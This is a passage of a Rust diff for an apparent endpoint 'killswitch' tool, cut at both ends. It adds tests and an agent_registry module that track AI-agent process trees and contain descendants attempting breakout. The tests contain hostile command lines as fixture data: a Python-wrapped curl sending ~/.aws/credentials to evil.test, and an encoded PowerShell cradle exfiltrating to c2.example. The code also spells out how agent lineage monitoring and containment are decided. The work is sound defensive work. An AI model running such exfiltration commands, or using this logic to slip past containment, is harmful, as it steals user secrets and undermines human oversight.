test_phase2_tracked_agent_descendant_never_receives_lineage_or_hash_veto() { + let base_pid = 870_000 + (std::process::id() % 50_000) * 10; + let agent_root_pid = base_pid + 1; + let agent_git_child = base_pid + 2; + let agent_python_child = base_pid + 3; + + let _cleanup = RegistryCleanupGuard(vec![agent_python_child, agent_git_child, agent_root_pid]); + let reg = TrackedAgentTreeRegistry::global(); + assert!(reg.register_agent_root(agent_root_pid, "claude-code")); + assert!(reg.register_child(agent_git_child, agent_root_pid)); + assert!(reg.register_child(agent_python_child, agent_git_child)); + + // Even a binary normally treated as developer tooling (git) is classified as AgentRuntimeChild + // when spawned inside a tracked agent subtree. + let lineage = inspect_process_lineage(agent_git_child, Some("git")); + assert!( + matches!(lineage, LineageImmunityVerdict::AgentRuntimeChild { .. }), + "Tracked agent child must classify as AgentRuntimeChild, got {:?}", + lineage + ); + + let adjudicator = ZeroFalsePositiveAdjudicator::new(); + let protected_hash = "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; + killswitch_adjudication::register_protected_binary_hash(protected_hash); + + // Deliberately pass context=None so registry lineage alone must drive behavior-first gating. + let mut cand = ThreatCandidate::new( + Some(agent_python_child), + "python3", + "live_os_ai_breakout_sentinel", + "Suspicious agent subprocess attempting credential harvest", + 0.95, + EvidenceClass::Behavior, + ); + cand.blake3_hash = Some(protected_hash.to_string()); + cand.command_line = Some( + "python3 -c 'import os; os.system(\"curl https://evil.test -d @~/.aws/credentials\")'" + .to_string(), + ); + + let res = adjudicator.adjudicate_threat_candidate(&cand, None).await; + assert!( + !res.is_vetoed(), + "Tracked agent descendant with LOTL command line must NEVER be vetoed: {:?}", + res + ); + assert!( + res.is_confirmed(), + "Tracked agent breakout must achieve confirmed containment: {:?}", + res + ); +} + +#[tokio::test] +async fn test_phase2_immutable_kernel_remains_protected_while_signed_lolbin_is_caught() { + let adjudicator = ZeroFalsePositiveAdjudicator::new(); + + // Immutable OS kernel anchor (PID 4 / lsass.exe) remains strictly immune. + let kernel_cand = ThreatCandidate::new( + Some(4), + "System", + "KernelSensor", + "Spoofed alert on System PID 4", + 0.99, + EvidenceClass::Behavior, + ); + let kernel_res = adjudicator + .adjudicate_threat_candidate(&kernel_cand, None) + .await; + assert!( + kernel_res.is_vetoed(), + "Immutable OS kernel PID 4 must always remain vetoed: {:?}", + kernel_res + ); + + // Signed LOLBin with obfuscated PowerShell cradle + egress must NOT be vetoed. + let mut ps_cand = ThreatCandidate::new( + Some(77_441), + "powershell.exe", + "live_os_ai_breakout_sentinel", + "Obfuscated PowerShell breakout [Token Escalation Detected]", + 0.96, + EvidenceClass::Behavior, + ); + ps_cand.command_line = Some( + "powershell.exe -NoP -ep bypass -EncodedCommand ZABvAHcAbgBsAG8AYQBkAA== Invoke-RestMethod https://c2.example/exfil".to_string(), + ); + let ps_res = adjudicator + .adjudicate_threat_candidate(&ps_cand, None) + .await; + assert!( + !ps_res.is_vetoed(), + "Signed PowerShell with -EncodedCommand + HTTP exfil must NEVER be vetoed: {:?}", + ps_res + ); + assert!( + ps_res.is_confirmed(), + "Corroborated LOLBin breakout must confirm containment: {:?}", + ps_res + ); +} diff --git a/crates/killswitch-cli/tests/empirical_challenge_m5_2.rs b/crates/killswitch-cli/tests/empirical_challenge_m5_2.rs index b2532fc..197004d 100644 --- a/crates/killswitch-cli/tests/empirical_challenge_m5_2.rs +++ b/crates/killswitch-cli/tests/empirical_challenge_m5_2.rs @@ -610,30 +610,40 @@ fn test_critical_system_pid_immunity_exhaustive_catalog() { ); } - // 3. Developer and Toolchain Infrastructure + // 3. Developer Build Infrastructure & Interactive Terminals let critical_dev = [ "code.exe", - "powershell.exe", - "pwsh.exe", - "cmd.exe", "windowsterminal.exe", "conhost.exe", - "wsl.exe", - "docker.exe", "cargo.exe", "rustc.exe", "git.exe", - "python.exe", - "node.exe", ]; for name in critical_dev { assert!( is_critical_system_pid(8888, name), - "Developer binary '{}' must be immune from killswitch containment", + "Developer build binary '{}' must remain immune from ambient containment", name ); } + // Shells, VM/container bridges, and scripting runtimes must NOT hold blanket immunity + for agent_shell in [ + "powershell.exe", + "pwsh.exe", + "cmd.exe", + "wsl.exe", + "docker.exe", + "python.exe", + "node.exe", + ] { + assert!( + !is_critical_system_pid(8888, agent_shell), + "Shell / interpreter / bridge '{}' must NOT be blindly immune", + agent_shell + ); + } + // 4. Case-insensitivity & path normalization stress tests assert!(is_critical_system_pid( 1234, diff --git a/crates/killswitch-core/Cargo.toml b/crates/killswitch-core/Cargo.toml index b7d30dd..b8f4cc3 100644 --- a/crates/killswitch-core/Cargo.toml +++ b/crates/killswitch-core/Cargo.toml @@ -32,6 +32,7 @@ windows-sys = { workspace = true, features = [ "Win32_Security", "Win32_System_Threading", "Win32_System_Diagnostics_ToolHelp", + "Win32_System_JobObjects", "Win32_System_LibraryLoader", "Win32_System_Services", ] } diff --git a/crates/killswitch-core/src/agent_registry.rs b/crates/killswitch-core/src/agent_registry.rs new file mode 100644 index 0000000..5649cf0 --- /dev/null +++ b/crates/killswitch-core/src/agent_registry.rs @@ -0,0 +1,911 @@ +//! Lineaged AI Agent Subtree Registry & Breakout Scope Resolver +//! +//! Tracks registered AI agent root PIDs, confirmed threat roots, and all +//! spawned descendant processes (`bash`, `powershell.exe`, `pwsh.exe`, `cmd.exe`, +//! `python`, `node`, `curl`, background workers, etc.) across parent exits and +//! multi-hop chains, while bounding containment strictly to offending subtrees so +//! uninvolved host interactive TTY shells and desktop parents are spared. + +use crate::killchain::is_immutable_os_kernel_pid; +use dashmap::DashMap; +use std::collections::{HashMap, HashSet, VecDeque}; +use std::sync::OnceLock; +use std::time::{SystemTime, UNIX_EPOCH}; +use sysinfo::{Pid, ProcessRefreshKind, System}; + +/// Maximum hops walked upward or downward during lineage resolution. +const MAX_LINEAGE_DEPTH: usize = 64; + +/// Classification of a process PID within the agent subtree lineage graph. +#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash)] +pub enum AgentLineageClass { + /// Registered root PID of an AI agent runtime. + TrackedAgentRoot, + /// Descendant (shell, script interpreter, tool, background worker) spawned under a tracked agent root. + TaintedAgentDescendant, + /// Confirmed threat process or descendant of a confirmed threat PID. + ConfirmedThreatSubtree, + /// Uninvolved OS/desktop/terminal host boundary above which containment must stop. + HostBoundary, + /// Normal host process not rooted under any tracked agent or confirmed threat. + Untracked, +} + +impl AgentLineageClass { + /// Returns true if processes of this class are eligible for subtree containment + /// and denied blanket shell/developer-tool immunity. + #[inline] + pub fn is_containment_eligible(self) -> bool { + matches!( + self, + Self::TrackedAgentRoot | Self::TaintedAgentDescendant | Self::ConfirmedThreatSubtree + ) + } +} + +/// Metadata for a registered AI agent root process. +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct TrackedAgentRoot { + pub pid: u32, + pub agent_id: String, + pub runtime_label: String, + pub sandbox_id: Option, + pub process_start_time_secs: Option, + pub registered_at_epoch_secs: u64, +} + +/// Record caching a tainted descendant even if an intermediate parent exits (reparenting defense). +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct TaintedDescendantRecord { + pub pid: u32, + pub root_pid: u32, + pub proc_name: Option, + pub depth_from_root: usize, + pub observed_at_epoch_secs: u64, +} + +/// Result of resolving an offending child/leaf PID upward to its containment boundary. +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct SubtreeResolution { + pub root_pid: u32, + pub trigger_pid: u32, + pub root_class: AgentLineageClass, + pub root_name: Option, + pub sandbox_id: Option, + pub stopped_below_uninvolved_host_shell: bool, + /// Ordered from `trigger_pid` upward to `root_pid` inclusive. + pub ancestor_chain: Vec<(u32, String)>, +} + +/// Global and instanceable lock-free registry tracking AI agent roots, confirmed threats, +/// parent->child spawn edges, and cached tainted descendants. +#[derive(Debug, Default)] +pub struct TrackedAgentTreeRegistry { + /// Tracked AI agent roots indexed by PID. + pub tracked_roots: DashMap, + /// Explicitly confirmed threat PIDs indexed by PID -> detection summary. + pub confirmed_threat_pids: DashMap, + /// Explicit parent -> direct child PIDs (supplementing live OS `sysinfo` ancestry). + pub parent_child_edges: DashMap>, + /// Explicit child -> parent PID reverse lookup. + pub child_to_parent: DashMap, + /// Descendants tainted via an ancestor agent root or threat root (survives parent exit). + pub tainted_descendants: DashMap, +} + +static GLOBAL_AGENT_REGISTRY: OnceLock = OnceLock::new(); + +impl TrackedAgentTreeRegistry { + /// Constructs an isolated empty registry instance (ideal for deterministic unit tests). + pub fn new() -> Self { + Self::default() + } + + /// Returns the process-wide shared agent subtree registry. + pub fn global() -> &'static Self { + GLOBAL_AGENT_REGISTRY.get_or_init(Self::new) + } + + /// Registers an AI agent root PID with a runtime label (refuses kernel PIDs <= 4, + /// self PID, and immutable OS kernel anchors). + pub fn register_agent_root(&self, pid: u32, label: &str) -> bool { + self.register_agent_root_with_sandbox(pid, label, label, None) + } + + /// Registers an AI agent root PID with explicit agent identifier, runtime label, and optional + /// OS sandbox identifier. Refuses immutable OS kernel/self PIDs. + pub fn register_agent_root_with_sandbox( + &self, + pid: u32, + agent_id: impl Into, + runtime_label: impl Into, + sandbox_id: Option, + ) -> bool { + let label_str = runtime_label.into(); + if is_protected_kernel_or_self_pid(pid, Some(&label_str)) { + return false; + } + let now = epoch_secs_now(); + self.tracked_roots.insert( + pid, + TrackedAgentRoot { + pid, + agent_id: agent_id.into(), + runtime_label: label_str, + sandbox_id, + process_start_time_secs: None, + registered_at_epoch_secs: now, + }, + ); + true + } + + /// Attaches or updates an OS sandbox identifier (Job Object, cgroup path, or pf anchor) + /// for a registered agent root. + pub fn bind_sandbox(&self, root_pid: u32, sandbox_id: impl Into) { + if let Some(mut root) = self.tracked_roots.get_mut(&root_pid) { + root.sandbox_id = Some(sandbox_id.into()); + } + } + + /// Marks a PID as a confirmed threat subtree root (unless it is an immutable OS kernel/self PID). + pub fn mark_confirmed_threat(&self, pid: u32, reason: impl Into) -> bool { + if is_protected_kernel_or_self_pid(pid, None) { + return false; + } + self.confirmed_threat_pids.insert(pid, reason.into()); + true + } + + /// Records a `(child_pid, parent_pid)` relationship and propagates taint immediately if + /// `parent_pid` is a tracked agent root, tainted descendant, or confirmed threat. + pub fn register_child(&self, child_pid: u32, parent_pid: u32) -> bool { + if parent_pid == child_pid || is_protected_kernel_or_self_pid(child_pid, None) { + return false; + } + self.child_to_parent.insert(child_pid, parent_pid); + self.parent_child_edges + .entry(parent_pid) + .and_modify(|children| { + if !children.contains(&child_pid) { + children.push(child_pid); + } + }) + .or_insert_with(|| vec![child_pid]); + + if let Some((root_pid, depth)) = self.find_taint_anchor_in_memory(parent_pid) { + self.tainted_descendants.insert( + child_pid, + TaintedDescendantRecord { + pid: child_pid, + root_pid, + proc_name: None, + depth_from_root: depth + 1, + observed_at_epoch_secs: epoch_secs_now(), + }, + ); + } + true + } + + /// Alias taking `(parent_pid, child_pid)` order for edge-oriented callers. + #[inline] + pub fn register_child_edge(&self, parent_pid: u32, child_pid: u32) -> bool { + self.register_child(child_pid, parent_pid) + } + + /// Unregisters a PID from root/threat/taint tables and parent-child edge maps. + pub fn unregister_pid(&self, pid: u32) { + self.tracked_roots.remove(&pid); + self.confirmed_threat_pids.remove(&pid); + self.tainted_descendants.remove(&pid); + if let Some((_, parent_pid)) = self.child_to_parent.remove(&pid) { + if let Some(mut siblings) = self.parent_child_edges.get_mut(&parent_pid) { + siblings.retain(|&c| c != pid); + } + } + if let Some((_, children)) = self.parent_child_edges.remove(&pid) { + for child in children { + self.child_to_parent.remove(&child); + } + } + } + + /// Returns a snapshot of all currently tracked agent root PIDs. + pub fn tracked_roots(&self) -> Vec { + let mut out: Vec = self.tracked_roots.iter().map(|e| *e.key()).collect(); + out.sort_unstable(); + out + } + + /// Returns a snapshot of `(child_pid, parent_pid)` links. + pub fn snapshot_child_links(&self) -> Vec<(u32, u32)> { + self.child_to_parent + .iter() + .map(|e| (*e.key(), *e.value())) + .collect() + } + + /// Removes dead PIDs that are no longer present in a freshly refreshed OS process table. + pub fn prune_exited_pids(&self, live_pids: &HashSet) { + self.tracked_roots.retain(|pid, _| live_pids.contains(pid)); + self.confirmed_threat_pids + .retain(|pid, _| live_pids.contains(pid)); + self.tainted_descendants + .retain(|pid, _| live_pids.contains(pid)); + self.child_to_parent + .retain(|child, parent| live_pids.contains(child) && live_pids.contains(parent)); + self.parent_child_edges.retain(|parent, children| { + children.retain(|c| live_pids.contains(c)); + live_pids.contains(parent) && !children.is_empty() + }); + } + + /// Alias for [`Self::is_pid_tracked_or_tainted`] preserved for compatibility with killchain callers. + #[inline] + pub fn is_tracked_pid(&self, pid: u32) -> bool { + self.is_pid_tracked_or_tainted(pid) + } + + /// Returns `true` if `pid` is a tracked agent root, tainted agent descendant, or confirmed threat. + pub fn is_pid_tracked_or_tainted(&self, pid: u32) -> bool { + if self.tracked_roots.is_empty() + && self.confirmed_threat_pids.is_empty() + && self.tainted_descendants.is_empty() + { + return false; + } + if is_protected_kernel_or_self_pid(pid, None) { + return false; + } + if self.tracked_roots.contains_key(&pid) + || self.confirmed_threat_pids.contains_key(&pid) + || self.tainted_descendants.contains_key(&pid) + { + return true; + } + self.find_taint_anchor_in_memory(pid).is_some() + || self.classify_pid(pid, None, &[]).is_containment_eligible() + } + + /// Classifies `pid` using in-memory registry edges, `extra_edges`, and a fresh OS snapshot. + pub fn classify_pid( + &self, + pid: u32, + proc_name: Option<&str>, + extra_edges: &[(u32, u32)], + ) -> AgentLineageClass { + if self.tracked_roots.is_empty() + && self.confirmed_threat_pids.is_empty() + && self.tainted_descendants.is_empty() + && extra_edges.is_empty() + { + if is_protected_kernel_or_self_pid(pid, proc_name) + || is_host_boundary_name(proc_name.unwrap_or("")) + { + return AgentLineageClass::HostBoundary; + } + return AgentLineageClass::Untracked; + } + + let mut sys = System::new(); + sys.refresh_processes_specifics(ProcessRefreshKind::new()); + self.classify_pid_with_system(pid, proc_name, extra_edges, &sys) + } + + /// Classifies `pid` against an already-refreshed `sysinfo::System` snapshot. + pub fn classify_pid_with_system( + &self, + pid: u32, + proc_name: Option<&str>, + extra_edges: &[(u32, u32)], + sys: &System, + ) -> AgentLineageClass { + let resolved_name = proc_name + .map(str::to_string) + .or_else(|| { + sys.process(Pid::from_u32(pid)) + .map(|p| p.name().to_string()) + }) + .unwrap_or_default(); + + if is_protected_kernel_or_self_pid(pid, Some(&resolved_name)) { + return AgentLineageClass::HostBoundary; + } + if self.tracked_roots.contains_key(&pid) { + return AgentLineageClass::TrackedAgentRoot; + } + if self.confirmed_threat_pids.contains_key(&pid) { + return AgentLineageClass::ConfirmedThreatSubtree; + } + if let Some(tainted) = self.tainted_descendants.get(&pid) { + if self.tracked_roots.contains_key(&tainted.root_pid) { + return AgentLineageClass::TaintedAgentDescendant; + } + if self.confirmed_threat_pids.contains_key(&tainted.root_pid) { + return AgentLineageClass::ConfirmedThreatSubtree; + } + } + + let mut child_map = HashMap::with_capacity(extra_edges.len()); + for &(parent, child) in extra_edges { + child_map.insert(child, parent); + } + + let mut cursor = pid; + let mut visited = HashSet::with_capacity(16); + visited.insert(cursor); + + for depth in 0..MAX_LINEAGE_DEPTH { + let Some(parent_pid) = self.lookup_parent(cursor, &child_map, sys) else { + break; + }; + if parent_pid == 0 || !visited.insert(parent_pid) { + break; + } + let parent_name = sys + .process(Pid::from_u32(parent_pid)) + .map(|p| p.name()) + .unwrap_or(""); + if is_protected_kernel_or_self_pid(parent_pid, Some(parent_name)) { + break; + } + if self.tracked_roots.contains_key(&parent_pid) { + self.cache_tainted_descendant(pid, parent_pid, &resolved_name, depth + 1); + return AgentLineageClass::TaintedAgentDescendant; + } + if self.confirmed_threat_pids.contains_key(&parent_pid) { + self.cache_tainted_descendant(pid, parent_pid, &resolved_name, depth + 1); + return AgentLineageClass::ConfirmedThreatSubtree; + } + if let Some(ancestor_taint) = self.tainted_descendants.get(&parent_pid) { + let anchor = ancestor_taint.root_pid; + if self.tracked_roots.contains_key(&anchor) { + self.cache_tainted_descendant( + pid, + anchor, + &resolved_name, + ancestor_taint.depth_from_root + depth + 1, + ); + return AgentLineageClass::TaintedAgentDescendant; + } + if self.confirmed_threat_pids.contains_key(&anchor) { + self.cache_tainted_descendant( + pid, + anchor, + &resolved_name, + ancestor_taint.depth_from_root + depth + 1, + ); + return AgentLineageClass::ConfirmedThreatSubtree; + } + } + cursor = parent_pid; + } + + if is_host_boundary_name(&resolved_name) { + AgentLineageClass::HostBoundary + } else { + AgentLineageClass::Untracked + } + } + + /// Resolves a potentially deeply nested offending child/leaf PID upward to its + /// containment root (`TrackedAgentRoot` or highest `ConfirmedThreatSubtree`), + /// stopping strictly below any uninvolved host interactive TTY shell or desktop parent. + pub fn resolve_offending_process_subtree( + &self, + trigger_pid: u32, + trigger_name: Option<&str>, + extra_edges: &[(u32, u32)], + ) -> SubtreeResolution { + let mut sys = System::new(); + sys.refresh_processes_specifics(ProcessRefreshKind::new()); + self.resolve_offending_process_subtree_with_system( + trigger_pid, + trigger_name, + extra_edges, + &sys, + ) + } + + /// Snapshot-backed variant of [`Self::resolve_offending_process_subtree`]. + pub fn resolve_offending_process_subtree_with_system( + &self, + trigger_pid: u32, + trigger_name: Option<&str>, + extra_edges: &[(u32, u32)], + sys: &System, + ) -> SubtreeResolution { + let mut child_map = HashMap::with_capacity(extra_edges.len()); + for &(parent, child) in extra_edges { + child_map.insert(child, parent); + } + + let mut raw_chain: Vec<(u32, String)> = Vec::with_capacity(16); + let mut visited = HashSet::with_capacity(16); + let mut cursor = trigger_pid; + + for depth in 0..MAX_LINEAGE_DEPTH { + if !visited.insert(cursor) { + break; + } + let name = if depth == 0 { + trigger_name + .map(str::to_string) + .or_else(|| { + sys.process(Pid::from_u32(cursor)) + .map(|p| p.name().to_string()) + }) + .unwrap_or_default() + } else { + sys.process(Pid::from_u32(cursor)) + .map(|p| p.name().to_string()) + .unwrap_or_default() + }; + + if depth > 0 && is_protected_kernel_or_self_pid(cursor, Some(&name)) { + break; + } + raw_chain.push((cursor, name)); + + let Some(parent_pid) = self.lookup_parent(cursor, &child_map, sys) else { + break; + }; + if parent_pid == 0 { + break; + } + let parent_name = sys + .process(Pid::from_u32(parent_pid)) + .map(|p| p.name()) + .unwrap_or(""); + if is_protected_kernel_or_self_pid(parent_pid, Some(parent_name)) { + break; + } + cursor = parent_pid; + } + + // 1. Prefer the nearest ancestor that is a registered TrackedAgentRoot. + for (idx, (anc_pid, anc_name)) in raw_chain.iter().enumerate() { + if let Some(root) = self.tracked_roots.get(anc_pid) { + let chain = raw_chain[..=idx].to_vec(); + return SubtreeResolution { + root_pid: *anc_pid, + trigger_pid, + root_class: AgentLineageClass::TrackedAgentRoot, + root_name: (!anc_name.is_empty()).then(|| anc_name.clone()), + sandbox_id: root.sandbox_id.clone(), + stopped_below_uninvolved_host_shell: true, + ancestor_chain: chain, + }; + } + } + + // 2. Fallback to cached taint anchor if an intermediate parent exited. + if let Some(tainted) = self.tainted_descendants.get(&trigger_pid) { + if let Some(root) = self.tracked_roots.get(&tainted.root_pid) { + return SubtreeResolution { + root_pid: tainted.root_pid, + trigger_pid, + root_class: AgentLineageClass::TrackedAgentRoot, + root_name: Some(root.runtime_label.clone()), + sandbox_id: root.sandbox_id.clone(), + stopped_below_uninvolved_host_shell: true, + ancestor_chain: raw_chain, + }; + } + } + + // 3. Otherwise climb only across confirmed-threat ancestors or live named non-host + // ancestors, stopping strictly at the highest confirmed threat or below any + // uninvolved interactive shell / desktop boundary. + let mut stopped_below_host = false; + let mut highest_confirmed_idx: Option = self + .confirmed_threat_pids + .contains_key(&trigger_pid) + .then_some(0); + + for (idx, (anc_pid, anc_name)) in raw_chain.iter().enumerate().skip(1) { + if self.confirmed_threat_pids.contains_key(anc_pid) { + highest_confirmed_idx = Some(idx); + continue; + } + if is_host_boundary_name(anc_name) || is_interactive_host_shell_name(anc_name) { + stopped_below_host = true; + break; + } + } + + let stop_idx = if let Some(conf_idx) = highest_confirmed_idx { + if conf_idx + 1 < raw_chain.len() { + stopped_below_host = true; + } + conf_idx + } else { + let mut non_host_top = 0usize; + for (idx, (_, anc_name)) in raw_chain.iter().enumerate().skip(1) { + if anc_name.is_empty() + || is_host_boundary_name(anc_name) + || is_interactive_host_shell_name(anc_name) + { + stopped_below_host = true; + break; + } + non_host_top = idx; + } + non_host_top + }; + + let (root_pid, root_name_str) = raw_chain + .get(stop_idx) + .cloned() + .unwrap_or((trigger_pid, trigger_name.unwrap_or("").to_string())); + let root_class = if self.confirmed_threat_pids.contains_key(&root_pid) { + AgentLineageClass::ConfirmedThreatSubtree + } else { + self.classify_pid_with_system(root_pid, Some(&root_name_str), extra_edges, sys) + }; + + SubtreeResolution { + root_pid, + trigger_pid, + root_class, + root_name: (!root_name_str.is_empty()).then_some(root_name_str), + sandbox_id: self + .tracked_roots + .get(&root_pid) + .and_then(|r| r.sandbox_id.clone()), + stopped_below_uninvolved_host_shell: stopped_below_host, + ancestor_chain: raw_chain[..=stop_idx].to_vec(), + } + } + + /// Collects all live + edge-linked PIDs rooted at `root_pid` (inclusive) in BFS + /// parent-before-child order, automatically omitting immutable OS kernel PIDs and self. + pub fn collect_subtree_pids(&self, root_pid: u32, extra_edges: &[(u32, u32)]) -> Vec { + let mut sys = System::new(); + sys.refresh_processes_specifics(ProcessRefreshKind::new()); + self.collect_subtree_pids_with_system(root_pid, extra_edges, &sys) + } + + /// Snapshot-backed BFS descendant enumeration (parent-before-child order). + pub fn collect_subtree_pids_with_system( + &self, + root_pid: u32, + extra_edges: &[(u32, u32)], + sys: &System, + ) -> Vec { + let mut adj: HashMap> = HashMap::new(); + + for (pid_raw, proc_entry) in sys.processes() { + if let Some(ppid) = proc_entry.parent() { + adj.entry(ppid.as_u32()).or_default().push(pid_raw.as_u32()); + } + } + for entry in self.parent_child_edges.iter() { + adj.entry(*entry.key()) + .or_default() + .extend(entry.value().iter().copied()); + } + for entry in self.tainted_descendants.iter() { + adj.entry(entry.value().root_pid) + .or_default() + .push(*entry.key()); + } + for &(parent, child) in extra_edges { + adj.entry(parent).or_default().push(child); + } + + let mut ordered = Vec::new(); + let mut visited = HashSet::new(); + let mut queue = VecDeque::new(); + queue.push_back((root_pid, 0usize)); + visited.insert(root_pid); + + while let Some((pid, depth)) = queue.pop_front() { + let p_name = sys.process(Pid::from_u32(pid)).map(|p| p.name()); + if !is_protected_kernel_or_self_pid(pid, p_name) { + ordered.push(pid); + } + if depth >= MAX_LINEAGE_DEPTH { + continue; + } + if let Some(children) = adj.get(&pid) { + let mut sorted_children = children.clone(); + sorted_children.sort_unstable(); + sorted_children.dedup(); + for child in sorted_children { + if visited.insert(child) { + queue.push_back((child, depth + 1)); + } + } + } + } + + ordered + } + + /// Collects all deduplicated PIDs across every registered `TrackedAgentRoot` and + /// `ConfirmedThreatSubtree` in parent-before-child BFS order so a caller can + /// freeze whole agent subtrees while sparing uninvolved host processes. + pub fn collect_all_containment_candidates(&self, extra_edges: &[(u32, u32)]) -> Vec { + let mut sys = System::new(); + sys.refresh_processes_specifics(ProcessRefreshKind::new()); + + let mut roots: Vec = self + .tracked_roots + .iter() + .map(|e| *e.key()) + .chain(self.confirmed_threat_pids.iter().map(|e| *e.key())) + .collect(); + roots.sort_unstable(); + roots.dedup(); + + let mut seen = HashSet::new(); + let mut all_targets = Vec::new(); + + for root_pid in roots { + for pid in self.collect_subtree_pids_with_system(root_pid, extra_edges, &sys) { + if seen.insert(pid) { + all_targets.push(pid); + } + } + } + for entry in self.tainted_descendants.iter() { + let pid = *entry.key(); + if !is_protected_kernel_or_self_pid(pid, None) && seen.insert(pid) { + all_targets.push(pid); + } + } + + all_targets + } + + fn lookup_parent( + &self, + pid: u32, + extra_child_map: &HashMap, + sys: &System, + ) -> Option { + if let Some(parent) = extra_child_map.get(&pid) { + return Some(*parent); + } + if let Some(parent) = self.child_to_parent.get(&pid) { + return Some(*parent); + } + sys.process(Pid::from_u32(pid)) + .and_then(|p| p.parent().map(|pp| pp.as_u32())) + } + + fn find_taint_anchor_in_memory(&self, start_pid: u32) -> Option<(u32, usize)> { + let mut cursor = start_pid; + let mut visited = HashSet::with_capacity(16); + visited.insert(cursor); + + for depth in 0..MAX_LINEAGE_DEPTH { + if self.tracked_roots.contains_key(&cursor) + || self.confirmed_threat_pids.contains_key(&cursor) + { + return Some((cursor, depth)); + } + if let Some(tainted) = self.tainted_descendants.get(&cursor) { + return Some((tainted.root_pid, tainted.depth_from_root + depth)); + } + let Some(parent) = self.child_to_parent.get(&cursor).map(|p| *p) else { + break; + }; + if parent == 0 || !visited.insert(parent) { + break; + } + cursor = parent; + } + None + } + + fn cache_tainted_descendant( + &self, + pid: u32, + root_pid: u32, + proc_name: &str, + depth_from_root: usize, + ) { + self.tainted_descendants.insert( + pid, + TaintedDescendantRecord { + pid, + root_pid, + proc_name: (!proc_name.is_empty()).then(|| proc_name.to_string()), + depth_from_root, + observed_at_epoch_secs: epoch_secs_now(), + }, + ); + } +} + +fn normalized_proc_name_lc(name: &str) -> String { + let trimmed = name.trim().trim_matches('"').trim_matches('\''); + trimmed + .rsplit(['\\', '/']) + .next() + .unwrap_or(trimmed) + .to_ascii_lowercase() +} + +/// Returns true strictly for immutable OS kernel anchors and KillSwitch self PIDs. +fn is_protected_kernel_or_self_pid(pid: u32, name: Option<&str>) -> bool { + if pid <= 4 || pid == std::process::id() { + return true; + } + if let Some(raw_name) = name { + if is_immutable_os_kernel_pid(pid, raw_name) { + return true; + } + } + false +} + +/// Returns true for host desktop, window-server, or terminal emulator boundaries above which +/// unrooted threat resolution must stop so host GUI/terminal sessions are not frozen. +fn is_host_boundary_name(name: &str) -> bool { + let lc = normalized_proc_name_lc(name); + let stem = lc.strip_suffix(".exe").unwrap_or(&lc); + matches!( + stem, + "explorer" + | "windowserver" + | "gnome-terminal" + | "gnome-terminal-server" + | "konsole" + | "xterm" + | "alacritty" + | "wezterm-gui" + | "kitty" + | "iterm2" + | "terminal" + | "wt" + | "windowsterminal" + | "openconsole" + | "conhost" + | "sshd" + | "login" + | "systemd" + | "init" + | "launchd" + ) +} + +/// Returns true for interactive shells that should NOT be frozen when acting as an +/// uninvolved host parent above a standalone non-agent threat process. +fn is_interactive_host_shell_name(name: &str) -> bool { + let lc = normalized_proc_name_lc(name); + let stem = lc.strip_suffix(".exe").unwrap_or(&lc); + matches!( + stem, + "bash" | "zsh" | "fish" | "sh" | "dash" | "pwsh" | "powershell" | "cmd" + ) +} + +#[inline] +fn epoch_secs_now() -> u64 { + SystemTime::now() + .duration_since(UNIX_EPOCH) + .map(|d| d.as_secs()) + .unwrap_or(0) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_agent_subtree_nested_shells_are_tainted_while_sibling_tty_is_untracked() { + let reg = TrackedAgentTreeRegistry::new(); + + assert!(reg.register_agent_root_with_sandbox( + 900_200, + "agent-alpha", + "openclaw", + Some("job-1".into()) + )); + + let edges = [ + (900_000, 900_100), + (900_100, 900_101), + (900_000, 900_200), + (900_200, 900_300), + (900_300, 900_400), + (900_400, 900_500), + ]; + + assert_eq!( + reg.classify_pid(900_200, Some("openclaw"), &edges), + AgentLineageClass::TrackedAgentRoot + ); + assert_eq!( + reg.classify_pid(900_300, Some("bash"), &edges), + AgentLineageClass::TaintedAgentDescendant + ); + assert_eq!( + reg.classify_pid(900_400, Some("python3"), &edges), + AgentLineageClass::TaintedAgentDescendant + ); + assert_eq!( + reg.classify_pid(900_500, Some("curl"), &edges), + AgentLineageClass::TaintedAgentDescendant + ); + + assert_eq!( + reg.classify_pid(900_100, Some("bash"), &edges), + AgentLineageClass::Untracked + ); + assert_eq!( + reg.classify_pid(900_101, Some("git"), &edges), + AgentLineageClass::Untracked + ); + assert_eq!( + reg.classify_pid(900_000, Some("wt.exe"), &edges), + AgentLineageClass::HostBoundary + ); + + let targets = reg.collect_all_containment_candidates(&edges); + assert_eq!(targets, vec![900_200, 900_300, 900_400, 900_500]); + } + + #[test] + fn test_resolve_offending_subtree_stops_below_uninvolved_host_terminal_and_explorer() { + let reg = TrackedAgentTreeRegistry::new(); + + assert!(reg.register_agent_root_with_sandbox(910_200, "agent-beta", "claude-code", None)); + let agent_edges = [(910_050, 910_200), (910_200, 910_300), (910_300, 910_400)]; + let res_agent = + reg.resolve_offending_process_subtree(910_400, Some("curl.exe"), &agent_edges); + assert_eq!(res_agent.root_pid, 910_200); + assert_eq!(res_agent.root_class, AgentLineageClass::TrackedAgentRoot); + assert!(res_agent.stopped_below_uninvolved_host_shell); + assert!(!res_agent + .ancestor_chain + .iter() + .any(|(pid, _)| *pid == 910_050)); + + assert!(reg.mark_confirmed_threat(920_300, "malicious python payload")); + let non_agent_edges = [(920_100, 920_200), (920_200, 920_300), (920_300, 920_400)]; + let res_threat = + reg.resolve_offending_process_subtree(920_400, Some("nc"), &non_agent_edges); + assert_eq!(res_threat.root_pid, 920_300); + assert_eq!( + res_threat.root_class, + AgentLineageClass::ConfirmedThreatSubtree + ); + assert!(res_threat.stopped_below_uninvolved_host_shell); + assert!(!res_threat + .ancestor_chain + .iter() + .any(|(pid, _)| *pid == 920_200 || *pid == 920_100)); + } + + #[test] + fn test_reparented_descendant_remains_tainted_after_intermediate_shell_exits() { + let reg = TrackedAgentTreeRegistry::new(); + assert!(reg.register_agent_root(930_100, "codex")); + assert!(reg.register_child(930_200, 930_100)); + assert!(reg.register_child(930_300, 930_200)); + + reg.parent_child_edges.remove(&930_200); + reg.child_to_parent.insert(930_300, 1); + + assert!(reg.is_tracked_pid(930_300)); + assert_eq!( + reg.classify_pid(930_300, Some("python3"), &[]), + AgentLineageClass::TaintedAgentDescendant + ); + } + + #[test] + fn test_immutable_kernel_and_self_pid_cannot_be_registered_as_targets() { + let reg = 